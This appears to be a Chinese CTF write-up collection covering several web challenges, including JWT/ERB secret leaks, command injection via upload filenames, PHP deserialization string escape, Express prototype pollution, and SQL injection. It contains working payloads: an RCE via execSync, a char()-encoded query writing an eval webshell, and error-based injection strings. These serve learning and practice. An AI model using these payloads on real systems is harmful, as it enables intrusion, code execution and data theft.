post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

要点:

if params[:do] == "#{params[:name][0,7]} is working" then

auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)

auth = JWT.encode auth,ENV["SECRET"] , 'HS256'

cookies[:auth] = auth

ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

end

end

要满足if params[:do] == “#{params[:name][0,7]} is working” 中的do和name相同,就会使用 JWT(JSON Web Token)库对 auth 数据结构进行编码操作。它将 auth 作为要编码的数据,使用环境变量 ENV[“SECRET”] 作为加密密钥,并指定加密算法为 HS256。编码后的结果会重新赋值给 auth 变量,以便后续使用。

内部的 params[:SECRET].match(/[0-9a-z]+/)首先使用正则表达式 /[0-9a-z]+/ 对 params[:SECRET] 进行匹配操作。

如果匹配成功,它会返回一个 MatchData 对象。然后通过将这个 MatchData 对象转换为字符串,得到从 params[:SECRET] 中提取出的符合要求的字符串部分。

外部的 ENV[“SECRET”].match(…):接着,将从 params[:SECRET] 中提取出的字符串作为参数,再用它去匹配环境变量 ENV[“SECRET”]如果 ENV[“SECRET”] 中能找到与从 params[:SECRET] 提取出的字符串相匹配的部分,那么这个 match 操作就会返回一个 MatchData 对象(表示匹配成功),此时整个 if 条件判断就为真,会继续执行后续位于这个 if 条件判断内部的操作,也就是输出 ENV[“FLAG”]

构造paload:/work?SECRET=&name=<%=$’%>&do=<%=$’%> is working

需要编码使用:

/work SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%

25%3e is working

6075a7e43caa8595b1f0c3f608e84be868d950173d140fa3339bc4aeffa2a30bbddd07abd86cf6a7e078fbe01e77c8a413ebb899bf122c6d9d4c5d0d558739f6 working successfully!

密匙知道了,加密:

https://i-blog.csdnimg.cn/img_convert/c109b484c1a4335bc41f5ef347191841.png

https://i-blog.csdnimg.cn/img_convert/1b6defead7941c96a8c441c95dee2298.png

https://i-blog.csdnimg.cn/img_convert/f232458c0b054de052fc5de409aa47a3.png

[N1CTF 2018]eating_cms

https://i-blog.csdnimg.cn/img_convert/42a3a4b8c254bad539291a63dae3557a.png

扫到register.php

https://i-blog.csdnimg.cn/img_convert/2ea943b8f615a991356e2d53a098b964.png

登陆后看到

https://i-blog.csdnimg.cn/img_convert/1c2b5afa2514e4024c7b010165b3374c.png

有个page参数,试试能不能读文件,index.php没有,估计自动补齐了

user.php?page=php://filter/convert.base64-encode/resource=index

https://i-blog.csdnimg.cn/img_convert/78f64287fadcebddce501c085af7bd9d.png

function.php

<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

?>

register:

<?php
require_once "function.php";
if($_POST['action'] === 'register'){
    if (isset($_POST['username']) and isset($_POST['password'])){
        $user = $_POST['username'];
        $pass = $_POST['password'];
        $res = register($user,$pass);
        if($res){
            Header("Location: index.php");
        }else{
            $errmsg = "Username has been registered!";
        }
    }
    else{
        Header("Location: error_parameter.php");
    }
}
if (!$_SESSION['login']) {
    include "templates/register.html";
} else {
    Header("Location : user.php?page=info");
}
 
?>

config:

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
        echo "no sql connection".mysqli_connect_error();
        $mysqli=null;
        die();
}
?>

user:

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
    Header("Location: index.php");
 
}
if($_SESSION['isadmin'] === '1'){
    $oper_you_can_do = $OPERATE_admin;
}else{
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
    if(!isset($_GET['page']) || $_GET['page'] === ''){
        $page = 'info';
    }else {
        $page = $_GET['page'];
    }
}
else{
    if(!isset($_GET['page'])|| $_GET['page'] === ''){
        $page = 'guest';
    }else {
        $page = $_GET['page'];
        if($page === 'info')
        {
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
            Header("Location: user.php?page=guest");
        }
    }
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

login:

<?php
require_once "function.php";
if($_POST['action'] === 'login'){
    if (isset($_POST['username']) and isset($_POST['password'])){
        $user = $_POST['username'];
        $pass = $_POST['password'];
        $res = login($user,$pass);
        if(!$res){
            Header("Location: index.php");
        }else{
            Header("Location: user.php?page=info");
        }
    }
    else{
        Header("Location: error_parameter.php");
    }
}else if($_REQUEST['action'] === 'logout'){
    logout();
}else{
    Header("Location: error_parameter.php");
}
 
?>

https://i-blog.csdnimg.cn/img_convert/eae237d71baf922c9916336d7ff7c98f.png

这里的parse_url有漏洞

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

https://i-blog.csdnimg.cn/img_convert/d4edd98a8dc4b4c872819c52a7f2cf7e.png

https://i-blog.csdnimg.cn/img_convert/ed04b563a14334a003f242ec00e2b085.png

https://i-blog.csdnimg.cn/img_convert/654a9c24de44829cabcdfd3cb7c0845f.png

然后看到有个文件上传:

https://i-blog.csdnimg.cn/img_convert/a29f48c2237df0aae1abe5e90acbb09e.png

有个php,看看

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

看到了system,

$picdata = system(“cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/”.$filename." | base64 -w 0");

也就是说我们可以构造 ;`ls 来命令执行

但是

https://i-blog.csdnimg.cn/img_convert/e89062198b4513eb728d13612e3f1362.png

那就是不是这个,看看上文的两个文件

ffffllllaaaaggg没用

https://i-blog.csdnimg.cn/img_convert/5e930412a8d0d09ffa3dac71dbc55caa.png

在这里

https://i-blog.csdnimg.cn/img_convert/55df87a4020e9cfc13e77f819b13c8e1.png

改filename

https://i-blog.csdnimg.cn/img_convert/b5148f03cc084f2d16917b3aab85d2b8.png

终于

https://i-blog.csdnimg.cn/img_convert/9b2a759aaa1e90c61413975e86d19230.png

那就用cd ..;ls

https://i-blog.csdnimg.cn/img_convert/c260f7b163d240237a11e6989e8b9e6b.png

cd ..;tac f*

https://i-blog.csdnimg.cn/img_convert/bd8639d0cafdc559c5602d573702bcc4.png

[GYCTF2020]Easyphp

反序类化

www.zip泄露:
index.php

<?php
require_once "lib.php";

if(isset($_GET['action'])){
    require_once(__DIR__."/".$_GET['action'].".php");
}
else{
    if($_SESSION['login']==1){
        echo "<script>window.location.href='./index.php?action=update'</script>";
    }
    else{
        echo "<script>window.location.href='./index.php?action=login'</script>";
    }
}
?>

lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

login.php

<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>login</title>
<center>
    <form action="login.php" method="post" style="margin-top: 300">
        <h2>百万前端的用户信息管理系统</h2>
        <h3>半成品系统 留后门的程序员已经跑路</h3>
                <input type="text" name="username" placeholder="UserName" required>
        <br>
        <input type="password" style="margin-top: 20" name="password" placeholder="password" required>
        <br>
        <button style="margin-top:20;" type="submit">登录</button>
        <br>
        <img src='img/1.jpg'>大家记得做好防护</img>
        <br>
        <br>
<?php 
$user=new user();
if(isset($_POST['username'])){
    if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
        die("<br>Damn you, hacker!");
    }
    if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
        die("Damn you, hacker!");
    }
    $user->login();
}
?>
    </form>
</center>

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
    echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
    require_once("flag.php");
    echo $flag;
}

?>

以admin身份登陆就给flag

https://i-blog.csdnimg.cn/img_convert/e8fdbb7bd8bd2ac29e643bdc8597954f.png

passwd等于md5加密后的值,token=admin

sql查询:

https://i-blog.csdnimg.cn/img_convert/b8b92d86eb13d36085161786d7d3aebd.png

怎么构造呢

入点:

https://i-blog.csdnimg.cn/img_convert/36a0f40e8d27fb4f437834748f7ff3ec.png

既然有echo,就可以toString

https://i-blog.csdnimg.cn/img_convert/774253f8a5ce0deaf16d438c5106bde8.png

将nickname = new Info,就可以调用_call()

https://i-blog.csdnimg.cn/img_convert/8bf39c7c4e704e1c2cf18fa7d6f4de5c.png

然后 CtrlCase = new User,即可调用login()

https://i-blog.csdnimg.cn/img_convert/f5c0b0b419fcadf643b71c2f42eb75f0.png

脚本:c4ca4238a0b923820dcc509a6f75849b就是1的md5

<?php
class User
{
    public $age = null;
    public $nickname = null;
    public function __construct()
    {
        $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        $this->nickname = new Info();
    }
}
class Info
{
    public $CtrlCase;
    public function __construct()
    {
        $this->CtrlCase = new dbCtrl();
    }
}
class UpdateHelper
{
    public $sql;
    public function __construct()
    {
        $this->sql = new User();
    }
}
class dbCtrl
{
    public $name = "admin";
    public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

然后就是这个东西:

function safe($parm){

$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");

return str_replace($array,'hacker',$parm);

}

替换字符?字符串逃逸

https://i-blog.csdnimg.cn/img_convert/8bd7e99960e7581511d7718f34b98169.png

这里反序列化,继续跟踪:

https://i-blog.csdnimg.cn/img_convert/cf88269469e32436fcb6e41f8ef1ea09.png

在这里

https://i-blog.csdnimg.cn/img_convert/a66e518c304781acd0ac8e09737604c5.png

这里序列化,我们就是传入age和nickname参数,所以要用字符串逃逸

看看原本是怎么样的:

<?php

class Info{
    public $age=1;
    public $nickname=2;
    public $CtrlCase=3;
}

$a=new Info();

echo (serialize($a));

O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";i:2;s:8:"CtrlCase";i:3;}

然后这里的info对应3个变量,所以我们可以这么改:

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";s:263:"";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";i:3;}

一共263个,我们就用263个union把他挤出来

O:4:"Info":3:{s:3:"age";i:1;s:8:"nickname";s:1578:"unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}";s:8:"CtrlCase";i:3;}

当变成hacker是,红色部分就会被挤出nickname变量的范围

因为满足3个变量,所以}}}}}后的部分自动舍弃

payload:

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

https://i-blog.csdnimg.cn/img_convert/b0cc47bf983429f427ccc95b602c0c65.png

然后回到登录界面

admin + 任意密码登录:

https://i-blog.csdnimg.cn/img_convert/94a2c9e97abd5081114d2408f401a6c0.png

[GYCTF2020]Ez_Express

强制大写漏洞,原型链污染

扫描www.zip

index.js

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

https://i-blog.csdnimg.cn/img_convert/e9249f869349ce3d12766de4643c5e4f.png

action路由只能由admin来用

看看登录的逻辑:

https://i-blog.csdnimg.cn/img_convert/d5225aa7bbf7f860e83b1350c18bebf9.png

调用了safeKeyword,对user进行转换,看看这个可不可以绕过

https://i-blog.csdnimg.cn/img_convert/ee70cf7d4e2fbcf148823b38cd46b0ca.png

https://i-blog.csdnimg.cn/img_convert/2d5f298b5c84755189530e1176f0687f.png

“ı”、“ſ” 、 “K”

所以就是admın

https://i-blog.csdnimg.cn/img_convert/62a33bb8d2ef3ffc160bd9c2e723ccac.png

然后呢?就是原型链污染:

https://i-blog.csdnimg.cn/img_convert/afb5a05c02c2b44a1002e73ba9de1a9d.png

这里有个outputFunctionName

js审计如果看见merge,clone函数,可以往原型链污染靠

payload:

{“lua”:“123”,"proto":{“outputFunctionName”:“t=1;return global.process.mainModule.constructor._load(‘child_process’).execSync(‘cat /flag’).toString()//”},“Submit”:""}

https://i-blog.csdnimg.cn/img_convert/bce97778421fd0201397739932f41ddd.png

这里记得改成application/json

然后就访问info得flag

[SUCTF 2018]MultiSQL

预处理注入

代码审计

https://i-blog.csdnimg.cn/img_convert/5ad717eb289b10a85bf50b1bcbf61112.png

先注册,

https://i-blog.csdnimg.cn/img_convert/31a17944e26e0958876cf1db758dec48.png

这里id可以堆叠注入, fuzz测试后发现过滤了union,select ,&,|

写入shell:

select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/1.php';

使用预处理注入

char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,49,46,112,104,112,39,59) payload: ?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,49,46,112,104,112,39,59);prepare query from @sql;execute query;

https://i-blog.csdnimg.cn/img_convert/c1a23c62989017dedbc5c30463dbea01.png

https://i-blog.csdnimg.cn/img_convert/e31d35eebab15873b54f80aa9b33ec50.png

https://i-blog.csdnimg.cn/img_convert/2c785c332b208d64fdfe09c2113ce7cb.png

https://i-blog.csdnimg.cn/img_convert/f4ef800260efb64a0dd1de1e012a8a34.png

[SUCTF 2018]annonymous

create_function函数名%00lambda_%d

https://i-blog.csdnimg.cn/img_convert/e317d95a54b9c850de4434f9ad1844f4.png

创建一个匿名函数,并将其赋值给变量 $MY,die在结束的同时会执行里面的内容(cat flag.php)

https://i-blog.csdnimg.cn/img_convert/0786cf1b20099d50389476ea58f52556.png

https://i-blog.csdnimg.cn/img_convert/33fb9b8cd199c0622fc62c7d4b2482ff.png

%00lambda_%d ,而%d则是一个 会递增,用来记录create_function()这个函数执行了多少次

可以直接func_name=%00lambda_1然后用bp爆破一直请求

因为这个服务器是一个多线程,所以%d就会从1~9不断循环,一直爆破知道刚好到1就欧克

(不过这题环境有点脆弱,搞多了直接500了)

[RootersCTF2019]babyWeb

报错注入

https://i-blog.csdnimg.cn/img_convert/c33de3c1ed2bd77564c26131af4e0b24.png

非预期?

1 || 1=1 limit 0,1

加个 limit 0,1限制只读取第一行

还有一种就是报错注入:

1 || (extractvalue(1,concat(0x5c,database(),0x5c)))%23

https://i-blog.csdnimg.cn/img_convert/94234adbf9ca825b96ca266d16b75092.png

1||(extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))%23

https://i-blog.csdnimg.cn/img_convert/9d051aa26a54316a767e299ae2c67164.png

这里虽然过滤了’,但是我们可以用禁止:

'users'——>0x7573657273

1||(extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_name=0x7573657273))))%23

https://i-blog.csdnimg.cn/img_convert/2684da848395ea48a0feabec23642569.png

加上 limit 4,1

https://i-blog.csdnimg.cn/img_convert/ec26f81bab146cc87669cc6be28a8fa2.png

1||(extractvalue(1,concat(0x5c,(select uniqueid from users limit 0,1))))%23

https://i-blog.csdnimg.cn/img_convert/de134fbbd27acc477ca7f3d99972b228.png

然后直接search=837461526918364526也可以出flag

[安洵杯 2019]不是文件上传

序列化protect绕过

https://i-blog.csdnimg.cn/img_convert/c0ff979f3fff3794bb9dbad6db645a57.png

https://i-blog.csdnimg.cn/img_convert/649a4f924b249fe4f0a44bc6bebb2e29.png

看到这个界面感觉是sql

在github上查看源码:

<?php
// 定义一个名为 helper 的类,用于处理图片上传和相关操作
class helper {
    // 定义一个受保护的属性 $folder,用于存储上传图片的文件夹路径
    protected $folder = "pic/";
    // 定义一个受保护的属性 $ifview,用于控制文件查看功能是否可用,初始值为 False
    protected $ifview = False;
    // 定义一个受保护的属性 $config,用于指定配置文件的名称
    protected $config = "config.txt";
    // 注释说明该类中的某些功能还不完善,尚未开放
 
    // 定义一个公共方法 upload,用于处理图片上传操作,默认表单文件字段名为 "file"
    public function upload($input="file")
    {
        // 调用 getfile 方法获取上传文件的相关信息
        $fileinfo = $this->getfile($input);
        // 初始化一个空数组 $array,用于存储文件的详细信息
        $array = array();
        // 将文件的标题信息存入数组
        $array["title"] = $fileinfo['title'];
        // 将文件名存入数组
        $array["filename"] = $fileinfo['filename'];
        // 将文件扩展名存入数组
        $array["ext"] = $fileinfo['ext'];
        // 将文件存储路径存入数组
        $array["path"] = $fileinfo['path'];
        // 使用 getimagesize 函数获取上传图片的尺寸信息,返回一个数组
        $img_ext = getimagesize($_FILES[$input]["tmp_name"]);
        // 从尺寸信息数组中提取图片的宽度和高度,存入新数组 $my_ext
        $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
        // 使用 serialize 函数将 $my_ext 数组序列化为字符串,并将其存入 $array 数组的 "attr" 键中
        $array["attr"] = serialize($my_ext);
        // 调用 save 方法将文件信息保存到数据库,并获取保存后的记录 ID
        $id = $this->save($array);
        // 如果保存操作返回的 ID 为 0,表示保存失败,输出错误信息并终止脚本
        if ($id == 0){
            die("Something wrong!");
        }
        // 输出换行符
        echo "<br>";
        // 输出上传成功的提示信息,包含图片的 ID
        echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
    }
 
    // 定义一个公共方法 getfile,用于获取上传文件的相关信息
    public function getfile($input)
    {
        // 检查 $input 是否被设置
        if(isset($input)){
            // 调用 check 方法对上传文件的信息进行检查,并将结果存储在 $rs 中
            $rs = $this->check($_FILES[$input]);
        }
        // 返回检查后的文件信息
        return $rs;
    }
 
    // 定义一个公共方法 check,用于检查上传文件的合法性
    public function check($info)
    {
        // 生成一个唯一的文件名,使用当前时间和唯一 ID 进行 MD5 加密,截取中间 16 位
        $basename = substr(md5(time().uniqid()),9,16);
        // 获取上传文件的原始文件名
        $filename = $info["name"];
        // 从文件名中提取文件扩展名
        $ext = substr(strrchr($filename, '.'), 1);
        // 定义一个允许上传的文件扩展名数组
        $cate_exts = array("jpg","gif","png","jpeg");
        // 检查上传文件的扩展名是否在允许的扩展名数组中
        if(!in_array($ext,$cate_exts)){
